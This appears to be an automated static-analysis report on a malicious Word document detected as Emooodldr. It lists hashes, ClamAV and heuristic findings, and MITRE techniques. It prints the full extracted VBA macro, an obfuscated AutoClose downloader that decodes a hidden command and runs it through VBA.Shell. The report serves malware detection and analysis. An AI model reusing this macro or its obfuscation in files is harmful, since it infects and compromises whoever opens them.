Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 9e0ec586bb991db7…

MALICIOUS

Office (OOXML)

52.4 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-06-01
MD5: e6491fb88600c6dad54a9bc22374d697 SHA-1: b055ab57f2b0276d859be243a9240965637aa4bd SHA-256: 9e0ec586bb991db7b41440e6ab3988f7b379c17e7a8963e8f41ab153960b5b24
280 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is triggered upon document closure, which then calls the servantlike subroutine. This subroutine uses VBA.Shell to execute a command, likely to download and run a second-stage payload. ClamAV detection further confirms its malicious nature, identifying it as Doc.Malware.Emooodldr-6711604-0.

Heuristics 5

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2064 bytes
SHA-256: 5f940b27eb532d8bae2d9b8fbba00dd3f7f696b0eca4fd29601ee4531e45e39a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub AutoClose()
  handset = Array("h", "Z", "x", "k", "2", "9", "P", "X", "P", "1", "x", "k", "k", "L", "n", "g", "g", "C", "E", "f", "y", "C", "w", "E", "4", "J", "C", "w", "f", "C", "x", "w", "P", "w", "9", "3", "t", "h", "g", "Q", "5", "g", "Z", "h", "f", "X", "9", "L", "x", "L", "B", "4", "k", "h", "2", "I", "E", "t", "J", "G")
  melds = rejerk(handset)
  
  Application.Run "servantlike", (melds)
  
End Sub


Private Sub servantlike(flashbacks)
   
   skirred = 6162
   cupping = True
   
   While cupping
     congratulate = skirred + 222
     If congratulate - skirred > 111 Then
       VBA.Shell flashbacks, vbNormalFocus - 1
       cupping = False
      End If
     
   Wend

End Sub


Public Function adopted(unstaunched, convergence)

  bearnaise = 9090
  hyperacuityator = -1
  For Each publically In convergence
    If publically = unstaunched Then
     bearnaise = hyperacuityator
     Exit For
    End If

    hyperacuityator = hyperacuityator + 1
    
  Next

  
  If bearnaise = 9090 Then
    bearnaise = -1
  End If


  adopted = bearnaise + 1
End Function

Private Function rejerk(handset)
  unattainably = Array("L", "k", "Z", "C", "9", "G", "g", "E", "h", "B", "f", "P", "4", "3", "n", "X", "t", "Q", "1", "w", "I", "5", "2", "x", "y", "J")
  unsensibly = Array("p", "t", "s", "q", ".", "k", "/", "d", "m", "?", "i", "e", "u", "c", ":", "x", "o", "N", " ", "w", "=", "A", "a", "h", "j", "n")
  
  eventide = vbNullString
  
  For Each unenviedly In handset
    caryatid = Application.Run("adopted", unenviedly, unattainably)
    If caryatid > -1 And caryatid < 8080 Then
    eventide = unsensibly(caryatid) + eventide
    End If
  Next
  
  rejerk = StrReverse(eventide)
  
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: 29f08b1cad57e7d367397f3fa5e23089536497dbe897fbc4a844b74e0f859f10
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.